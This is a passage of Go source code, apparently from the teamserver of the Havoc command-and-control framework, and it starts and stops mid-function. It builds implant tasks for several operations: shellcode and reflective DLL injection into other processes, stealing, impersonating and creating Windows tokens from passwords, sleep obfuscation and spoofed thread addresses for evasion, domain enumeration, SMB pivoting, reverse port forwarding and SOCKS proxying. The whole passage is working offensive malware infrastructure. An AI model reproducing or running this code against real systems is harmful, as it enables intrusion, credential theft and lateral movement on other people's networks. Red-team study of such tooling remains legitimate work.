(\n\t\t\tbinaryDecoded, _     = base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\tTargetPID, _         = strconv.Atoi(Optional[\"PID\"].(string))\n\t\t\tParam, _             = Optional[\"Arguments\"].(string)\n\t\t\tInjectMethode        int\n\t\t\tDllReflectiveLdr     []byte\n\t\t\tDllReflectiveLdrPath string\n\t\t)\n\n\t\tDllReflectiveLdrPath = utils.GetTeamserverPath() + \"/payloads/DllLdr.x64.bin\"\n\n\t\tDllReflectiveLdr, err := os.ReadFile(DllReflectiveLdrPath)\n\t\tif err != nil {\n\t\t\treturn nil, errors.New(\"Couldn't read content of file: \" + err.Error())\n\t\t}\n\n\t\tjob.Data = []interface{}{\n\t\t\tInjectMethode, // Injection technique syscall\n\t\t\tTargetPID,\n\t\t\tDllReflectiveLdr,\n\t\t\tbinaryDecoded,\n\t\t\tParam,\n\t\t}\n\t\tbreak\n\n\tcase COMMAND_INJECT_SHELLCODE:\n\n\t\tvar (\n\t\t\tx64       int\n\t\t\tTechnique int\n\t\t\tArgument  []byte\n\t\t)\n\n\t\tif val, ok := Optional[\"Way\"]; ok {\n\n\t\t\tif val.(string) == \"Inject\" {\n\t\t\t\tBinary, err := base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn job, err\n\t\t\t\t}\n\n\t\t\t\tif _, ok := Optional[\"Argument\"]; ok {\n\t\t\t\t\targs, err := base64.StdEncoding.DecodeString(Optional[\"Argument\"].(string))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, err\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(args) > 0 {\n\t\t\t\t\t\tArgument = args\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tTargetPid, err := strconv.Atoi(Optional[\"PID\"].(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn job, err\n\t\t\t\t}\n\n\t\t\t\tswitch strings.ToLower(Optional[\"Technique\"].(string)) {\n\t\t\t\tcase \"default\":\n\t\t\t\t\tTechnique = THREAD_METHOD_DEFAULT\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"createremotethread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_CREATEREMOTETHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntcreatethreadex\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTCREATEHREADEX\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntqueueapcthread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTQUEUEAPCTHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tdefault:\n\t\t\t\t\treturn job, fmt.Errorf(\"technique \\\"%v\\\"\", Optional[\"Technique\"].(string))\n\t\t\t\t}\n\n\t\t\t\tx64 = win32.FALSE\n\t\t\t\tif Optional[\"Arch\"] == \"x64\" {\n\t\t\t\t\tx64 = win32.TRUE\n\t\t\t\t}\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tINJECT_WAY_INJECT,\n\t\t\t\t\tTechnique,\n\t\t\t\t\tx64,\n\t\t\t\t\tBinary,\n\t\t\t\t\tArgument,\n\t\t\t\t\tTargetPid,\n\t\t\t\t}\n\t\t\t} else if val.(string) == \"Spawn\" {\n\t\t\t\tBinary, err := base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn job, err\n\t\t\t\t}\n\n\t\t\t\tif _, ok := Optional[\"Argument\"]; ok {\n\t\t\t\t\targs, err := base64.StdEncoding.DecodeString(Optional[\"Argument\"].(string))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, err\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(args) > 0 {\n\t\t\t\t\t\tArgument = args\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tswitch strings.ToLower(Optional[\"Technique\"].(string)) {\n\t\t\t\tcase \"default\":\n\t\t\t\t\tTechnique = THREAD_METHOD_DEFAULT\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"createremotethread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_CREATEREMOTETHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntcreatethreadex\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTCREATEHREADEX\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntqueueapcthread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTQUEUEAPCTHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tdefault:\n\t\t\t\t\treturn job, fmt.Errorf(\"technique \\\"%v\\\"\", Optional[\"Technique\"].(string))\n\t\t\t\t}\n\n\t\t\t\tx64 = win32.FALSE\n\t\t\t\tif Optional[\"Arch\"] == \"x64\" {\n\t\t\t\t\tx64 = win32.TRUE\n\t\t\t\t}\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tINJECT_WAY_SPAWN,\n\t\t\t\t\tTechnique,\n\t\t\t\t\tx64,\n\t\t\t\t\tBinary,\n\t\t\t\t\tArgument,\n\t\t\t\t}\n\t\t\t} else if val.(string) == \"Execute\" {\n\t\t\t\tBinary, err := base64.StdEncoding.DecodeString(Optional[\"Binary\"].(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn job, err\n\t\t\t\t}\n\n\t\t\t\tif _, ok := Optional[\"Argument\"]; ok {\n\t\t\t\t\targs, err := base64.StdEncoding.DecodeString(Optional[\"Argument\"].(string))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, err\n\t\t\t\t\t}\n\n\t\t\t\t\tif len(args) > 0 {\n\t\t\t\t\t\tArgument = args\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tswitch strings.ToLower(Optional[\"Technique\"].(string)) {\n\t\t\t\tcase \"default\":\n\t\t\t\t\tTechnique = THREAD_METHOD_DEFAULT\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"createremotethread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_CREATEREMOTETHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntcreatethreadex\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTCREATEHREADEX\n\t\t\t\t\tbreak\n\n\t\t\t\tcase \"ntqueueapcthread\":\n\t\t\t\t\tTechnique = THREAD_METHOD_NTQUEUEAPCTHREAD\n\t\t\t\t\tbreak\n\n\t\t\t\tdefault:\n\t\t\t\t\treturn job, fmt.Errorf(\"technique \\\"%v\\\"\", Optional[\"Technique\"].(string))\n\t\t\t\t}\n\n\t\t\t\tx64 = win32.FALSE\n\t\t\t\tif Optional[\"Arch\"] == \"x64\" {\n\t\t\t\t\tx64 = win32.TRUE\n\t\t\t\t}\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tINJECT_WAY_EXECUTE,\n\t\t\t\t\tTechnique,\n\t\t\t\t\tx64,\n\t\t\t\t\tBinary,\n\t\t\t\t\tArgument,\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn job, errors.New(\"couldn't identify if injection or spawn is specified\")\n\t\t\t}\n\n\t\t} else {\n\t\t\treturn job, errors.New(\"inject option not specified\")\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_TOKEN:\n\t\tvar (\n\t\t\tSubCommand int\n\t\t\tArguments  any\n\t\t\terr        error\n\t\t)\n\n\t\tif val, ok := Optional[\"SubCommand\"].(string); ok {\n\t\t\tswitch val {\n\t\t\tcase \"impersonate\":\n\t\t\t\tSubCommand = 0x1\n\n\t\t\t\tif val, ok := Optional[\"Arguments\"].(string); ok {\n\t\t\t\t\tArguments, err = strconv.Atoi(val)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to convert TokenID to int: \" + err.Error())\n\t\t\t\t\t}\n\n\t\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\t\tSubCommand,\n\t\t\t\t\t\tArguments.(int),\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"token arguments not found\")\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"steal\":\n\t\t\t\tSubCommand = 0x2\n\n\t\t\t\tif val, ok := Optional[\"Arguments\"].(string); ok {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tPID       int\n\t\t\t\t\t\tHandle    int64\n\t\t\t\t\t\tArrayData []string\n\t\t\t\t\t)\n\n\t\t\t\t\tArrayData = strings.Split(val, \";\")\n\n\t\t\t\t\tPID, err = strconv.Atoi(ArrayData[0])\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to convert PID to int: \" + err.Error())\n\t\t\t\t\t}\n\n\t\t\t\t\tHandle, err = strconv.ParseInt(ArrayData[1], 16, 64)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to convert Handle to int: \" + err.Error())\n\t\t\t\t\t}\n\n\t\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\t\tSubCommand,\n\t\t\t\t\t\tPID,\n\t\t\t\t\t\tint(Handle),\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"token arguments not found\")\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"list\":\n\t\t\t\tSubCommand = 0x3\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"privs-list\":\n\t\t\t\tSubCommand = 0x4\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t\twin32.TRUE,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"privs-get\":\n\t\t\t\tSubCommand = 0x4\n\n\t\t\t\tif PrivName, ok := Optional[\"Arguments\"].(string); ok {\n\n\t\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\t\tSubCommand,\n\t\t\t\t\t\twin32.FALSE,\n\t\t\t\t\t\tPrivName,\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"token arguments not found\")\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"make\":\n\t\t\t\tSubCommand = 0x5\n\n\t\t\t\tif val, ok = Optional[\"Arguments\"].(string); ok {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tDomain    string\n\t\t\t\t\t\tUser      string\n\t\t\t\t\t\tPassword  string\n\t\t\t\t\t\tLogonType int\n\n\t\t\t\t\t\tArrayData []string\n\t\t\t\t\t)\n\n\t\t\t\t\tArrayData = strings.Split(val, \";\")\n\n\t\t\t\t\tif val, err := base64.StdEncoding.DecodeString(ArrayData[0]); err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to decode Domain: \" + err.Error())\n\t\t\t\t\t} else {\n\t\t\t\t\t\tDomain = string(val)\n\t\t\t\t\t}\n\n\t\t\t\t\tif val, err := base64.StdEncoding.DecodeString(ArrayData[1]); err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to decode User: \" + err.Error())\n\t\t\t\t\t} else {\n\t\t\t\t\t\tUser = string(val)\n\t\t\t\t\t}\n\n\t\t\t\t\tif val, err := base64.StdEncoding.DecodeString(ArrayData[2]); err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to decode Password: \" + err.Error())\n\t\t\t\t\t} else {\n\t\t\t\t\t\tPassword = string(val)\n\t\t\t\t\t}\n\n\t\t\t\t\tLogonType, err = strconv.Atoi(ArrayData[3])\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to convert LogonType to int: \" + err.Error())\n\t\t\t\t\t}\n\n\t\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\t\tSubCommand,\n\t\t\t\t\t\tcommon.EncodeUTF16(Domain),\n\t\t\t\t\t\tcommon.EncodeUTF16(User),\n\t\t\t\t\t\tcommon.EncodeUTF16(Password),\n\t\t\t\t\t\tLogonType,\n\t\t\t\t\t}\n\n\t\t\t\t\tlogger.Debug(job.Data)\n\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"token arguments not found\")\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"getuid\":\n\t\t\t\tSubCommand = 0x6\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"revert\":\n\t\t\t\tSubCommand = 0x7\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"remove\":\n\t\t\t\tSubCommand = 0x8\n\n\t\t\t\tif val, ok := Optional[\"Arguments\"].(string); ok {\n\t\t\t\t\tArguments, err = strconv.Atoi(val)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn job, errors.New(\"Failed to convert TokenID to int: \" + err.Error())\n\t\t\t\t\t}\n\n\t\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\t\tSubCommand,\n\t\t\t\t\t\tArguments.(int),\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\treturn job, errors.New(\"token arguments not found\")\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"clear\":\n\t\t\t\tSubCommand = 0x9\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase \"find\":\n\t\t\t\tSubCommand = 0xa\n\n\t\t\t\tjob.Data = []interface{}{\n\t\t\t\t\tSubCommand,\n\t\t\t\t}\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tbreak\n\n\tcase COMMAND_CONFIG:\n\n\t\tvar (\n\t\t\tConfigKey = Optional[\"ConfigKey\"]\n\t\t\tConfigVal = Optional[\"ConfigVal\"]\n\n\t\t\tConfigId int\n\t\t\tValue    any\n\t\t)\n\n\t\tswitch ConfigKey {\n\n\t\tcase \"implant.verbose\":\n\t\t\tConfigId = CONFIG_IMPLANT_VERBOSE\n\n\t\t\tif ConfigVal == \"true\" {\n\t\t\t\tValue = 1\n\t\t\t} else {\n\t\t\t\tValue = 0\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"implant.sleep-obf.start-addr\":\n\t\t\tConfigId = CONFIG_IMPLANT_SPFTHREADSTART\n\n\t\t\tvar (\n\t\t\t\tLibrary   = strings.Split(ConfigVal.(string), \"!\")[0]\n\t\t\t\tFunction  = strings.Split(ConfigVal.(string), \"!\")[1]\n\t\t\t\tOffsetStr = strings.Split(ConfigVal.(string), \"+\")[1]\n\t\t\t)\n\n\t\t\tOffsetStr = strings.Replace(OffsetStr, \"0x\", \"\", -1)\n\t\t\tOffset, err := strconv.ParseInt(OffsetStr, 16, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to convert hex string to int: \" + err.Error())\n\t\t\t}\n\n\t\t\tFunction = strings.Split(Function, \"+\")[0]\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tLibrary,\n\t\t\t\tFunction,\n\t\t\t\tOffset,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"implant.sleep-obf.technique\":\n\t\t\tConfigId = CONFIG_IMPLANT_SLEEP_TECHNIQUE\n\n\t\t\tvar Num, err = strconv.Atoi(ConfigVal.(string))\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to convert string to num: \" + err.Error())\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tNum,\n\t\t\t}\n\n\t\tcase \"implant.coffee.veh\":\n\t\t\tConfigId = CONFIG_IMPLANT_COFFEE_VEH\n\n\t\t\tif ConfigVal == \"true\" {\n\t\t\t\tValue = 1\n\t\t\t} else {\n\t\t\t\tValue = 0\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"implant.coffee.threaded\":\n\t\t\tConfigId = CONFIG_IMPLANT_COFFEE_THREADED\n\n\t\t\tif ConfigVal == \"true\" {\n\t\t\t\tValue = 1\n\t\t\t} else {\n\t\t\t\tValue = 0\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"memory.alloc\":\n\t\t\tConfigId = CONFIG_MEMORY_ALLOC\n\t\t\tValue, _ = strconv.Atoi(ConfigVal.(string))\n\n\t\t\tbreak\n\n\t\tcase \"memory.execute\":\n\t\t\tConfigId = CONFIG_MEMORY_EXECUTE\n\t\t\tValue, _ = strconv.Atoi(ConfigVal.(string))\n\t\t\tbreak\n\n\t\tcase \"inject.technique\":\n\t\t\tConfigId = CONFIG_INJECT_TECHNIQUE\n\t\t\tValue, _ = strconv.Atoi(ConfigVal.(string))\n\t\t\tbreak\n\n\t\tcase \"inject.spoofaddr\":\n\t\t\tConfigId = CONFIG_INJECT_SPOOFADDR\n\n\t\t\tvar (\n\t\t\t\tLibrary   = strings.Split(ConfigVal.(string), \"!\")[0]\n\t\t\t\tFunction  = strings.Split(ConfigVal.(string), \"!\")[1]\n\t\t\t\tOffsetStr = strings.Split(ConfigVal.(string), \"+\")[1]\n\t\t\t)\n\n\t\t\tOffsetStr = strings.Replace(OffsetStr, \"0x\", \"\", -1)\n\t\t\tOffset, err := strconv.ParseInt(OffsetStr, 16, 64)\n\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to convert hex string to int: \" + err.Error())\n\t\t\t}\n\n\t\t\tFunction = strings.Split(Function, \"+\")[0]\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tLibrary,\n\t\t\t\tFunction,\n\t\t\t\tOffset,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"inject.spawn64\":\n\t\t\tConfigId = CONFIG_INJECT_SPAWN64\n\t\t\tValue = common.EncodeUTF16(ConfigVal.(string))\n\t\t\tbreak\n\n\t\tcase \"inject.spawn32\":\n\t\t\tConfigId = CONFIG_INJECT_SPAWN32\n\t\t\tValue = common.EncodeUTF16(ConfigVal.(string))\n\t\t\tbreak\n\n\t\tcase \"killdate\":\n\t\t\tConfigId = CONFIG_KILLDATE\n\t\t\tvar (\n\t\t\t\tKillDate int64\n\t\t\t)\n\t\t\tif ConfigVal.(string) != \"0\" {\n\t\t\t\tt, err := time.Parse(\"2006-01-02 15:04:05\", ConfigVal.(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to parse the kill date: \" + err.Error())\n\t\t\t\t\treturn nil, errors.New(\"Invalid date format, use: 2006-01-02 15:04:05\")\n\t\t\t\t} else {\n\t\t\t\t\tKillDate = t.Unix()\n\t\t\t\t\tif KillDate < time.Now().Unix() {\n\t\t\t\t\t\treturn nil, errors.New(\"The date can't be in the past\")\n\t\t\t\t\t}\n\t\t\t\t\tKillDate = common.EpochTimeToSystemTime(KillDate)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tKillDate = 0\n\t\t\t}\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"KillDate: %d\", KillDate))\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tKillDate,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"workinghours\":\n\t\t\tConfigId = CONFIG_WORKINGHOURS\n\t\t\tvar (\n\t\t\t\tWorkingHours int32\n\t\t\t)\n\t\t\tif ConfigVal.(string) != \"0\" {\n\t\t\t\tWorkingHours, err = common.ParseWorkingHours(ConfigVal.(string))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tWorkingHours = 0\n\t\t\t}\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"WorkingHours: %d\", WorkingHours))\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tWorkingHours,\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\tif len(job.Data) == 0 {\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tConfigId,\n\t\t\t\tValue,\n\t\t\t}\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_SCREENSHOT:\n\t\tbreak\n\n\tcase COMMAND_NET:\n\t\tvar (\n\t\t\tNetCommand int\n\t\t\tParam      string\n\t\t)\n\n\t\tif val, ok := Optional[\"NetCommand\"]; ok {\n\t\t\tNetCommand, err = strconv.Atoi(val.(string))\n\t\t\tif err != nil {\n\t\t\t\tlogger.Debug(\"Failed to parse net command: \" + err.Error())\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t} else {\n\t\t\treturn nil, errors.New(\"command::net NetCommand not defined\")\n\t\t}\n\n\t\tif val, ok := Optional[\"Param\"]; ok {\n\t\t\tParam = val.(string)\n\t\t} else {\n\t\t\treturn nil, errors.New(\"command::net param not defined\")\n\t\t}\n\n\t\tswitch NetCommand {\n\t\tcase DEMON_NET_COMMAND_DOMAIN:\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_LOGONS:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_SESSIONS:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_COMPUTER:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_DCLIST:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_SHARE:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_LOCALGROUP:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_GROUP:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_NET_COMMAND_USERS:\n\t\t\tvar Target = common.EncodeUTF16(Param)\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tNetCommand,\n\t\t\t\tTarget,\n\t\t\t}\n\t\t\tbreak\n\n\t\tdefault:\n\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_PIVOT:\n\t\tvar (\n\t\t\tPivotCommand int\n\t\t\tParam        string\n\t\t)\n\n\t\tif val, ok := Optional[\"Param\"]; ok {\n\t\t\tParam = val.(string)\n\t\t}\n\n\t\tif val, ok := Optional[\"Command\"]; ok {\n\n\t\t\tif val, err := strconv.Atoi(val.(string)); err != nil {\n\t\t\t\tlogger.Debug(\"failed to convert pivot command to int: \" + err.Error())\n\t\t\t\treturn nil, errors.New(\"failed to convert pivot command to int: \" + err.Error())\n\t\t\t} else {\n\t\t\t\tPivotCommand = val\n\t\t\t}\n\n\t\t}\n\n\t\tswitch PivotCommand {\n\t\tcase DEMON_PIVOT_LIST:\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tPivotCommand,\n\t\t\t}\n\n\t\tcase DEMON_PIVOT_SMB_CONNECT:\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tPivotCommand,\n\t\t\t\tcommon.EncodeUTF16(Param),\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase DEMON_PIVOT_SMB_DISCONNECT:\n\t\t\tvar AgentID, err = strconv.ParseInt(Param, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tPivotCommand,\n\t\t\t\tAgentID,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase DEMON_PIVOT_SMB_COMMAND:\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tPivotCommand,\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_TRANSFER:\n\t\tvar (\n\t\t\tSubCommand string\n\t\t\tParam      string\n\t\t\tFileID     int64\n\t\t)\n\n\t\tif val, ok := Optional[\"Command\"]; ok {\n\t\t\tSubCommand = val.(string)\n\t\t} else {\n\t\t\treturn job, errors.New(\"transfer field Command is empty.\")\n\t\t}\n\n\t\tif val, ok := Optional[\"FileID\"]; ok {\n\t\t\tParam = val.(string)\n\t\t} else {\n\t\t\treturn job, errors.New(\"transfer field FileID is empty.\")\n\t\t}\n\n\t\tswitch SubCommand {\n\t\tcase \"list\":\n\t\t\tjob.Data = []interface{}{\n\t\t\t\t0x0,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"stop\":\n\t\t\tFileID, err = strconv.ParseInt(Param, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\t0x1,\n\t\t\t\tFileID,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"resume\":\n\t\t\tFileID, err = strconv.ParseInt(Param, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\t0x2,\n\t\t\t\tFileID,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"remove\":\n\t\t\tFileID, err = strconv.ParseInt(Param, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\t0x3,\n\t\t\t\tFileID,\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\n\t\tbreak\n\n\tcase COMMAND_SOCKET:\n\t\tvar (\n\t\t\tSubCommand string\n\t\t\tParam      string\n\t\t)\n\n\t\tif val, ok := Optional[\"Command\"]; ok {\n\t\t\tSubCommand = val.(string)\n\t\t} else {\n\t\t\treturn job, errors.New(\"socket field Command is empty\")\n\t\t}\n\n\t\tif val, ok := Optional[\"Params\"]; ok {\n\t\t\tParam = val.(string)\n\t\t} else {\n\t\t\treturn job, errors.New(\"socket field param is empty\")\n\t\t}\n\n\t\tswitch SubCommand {\n\t\tcase \"rportfwd add\":\n\t\t\tvar (\n\t\t\t\tParams  []string\n\t\t\t\tLclAddr = 0\n\t\t\t\tLclPort = 0\n\t\t\t\tFwdAddr = 0\n\t\t\t\tFwdPort = 0\n\t\t\t)\n\n\t\t\t/* LclAddr; LclPort; FwdAddr; FwdPort */\n\t\t\tParams = strings.Split(Param, \";\")\n\t\t\tif len(Param) < 4 {\n\t\t\t\treturn nil, fmt.Errorf(\"rportfwd requires 4 arguments, received %d\", len(Params))\n\t\t\t}\n\n\t\t\t/* Parse local host & port arguments */\n\t\t\tLclAddr, err = common.IpStringToInt32(Params[0])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tLclPort, err = strconv.Atoi(Params[1])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t/* Parse forward host & port arguments */\n\t\t\tFwdAddr, err = common.IpStringToInt32(Params[2])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tFwdPort, err = strconv.Atoi(Params[3])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSOCKET_COMMAND_RPORTFWD_ADD,\n\t\t\t\tLclAddr,\n\t\t\t\tLclPort,\n\t\t\t\tFwdAddr,\n\t\t\t\tFwdPort,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"rportfwd list\":\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSOCKET_COMMAND_RPORTFWD_LIST,\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase \"rportfwd remove\":\n\t\t\tvar SocketID int64\n\n\t\t\tSocketID, err = strconv.ParseInt(Param, 16, 32)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSOCKET_COMMAND_RPORTFWD_REMOVE,\n\t\t\t\tint(SocketID),\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"rportfwd clear\":\n\t\t\tjob.Data = []interface{}{\n\t\t\t\tSOCKET_COMMAND_RPORTFWD_CLEAR,\n\t\t\t}\n\t\t\tbreak\n\n\t\tcase \"socks add\":\n\t\t\tif Param == \"\" {\n\t\t\t\treturn nil, fmt.Errorf(\"socks add requires a port\")\n\t\t\t}\n\n\t\t\tvar Socks *socks.Socks\n\t\t\tvar PortNum int\n\n\t\t\tPortNum, err = strconv.Atoi(Param)\n\t\t\tif err != nil || PortNum < 1 || PortNum > 65535 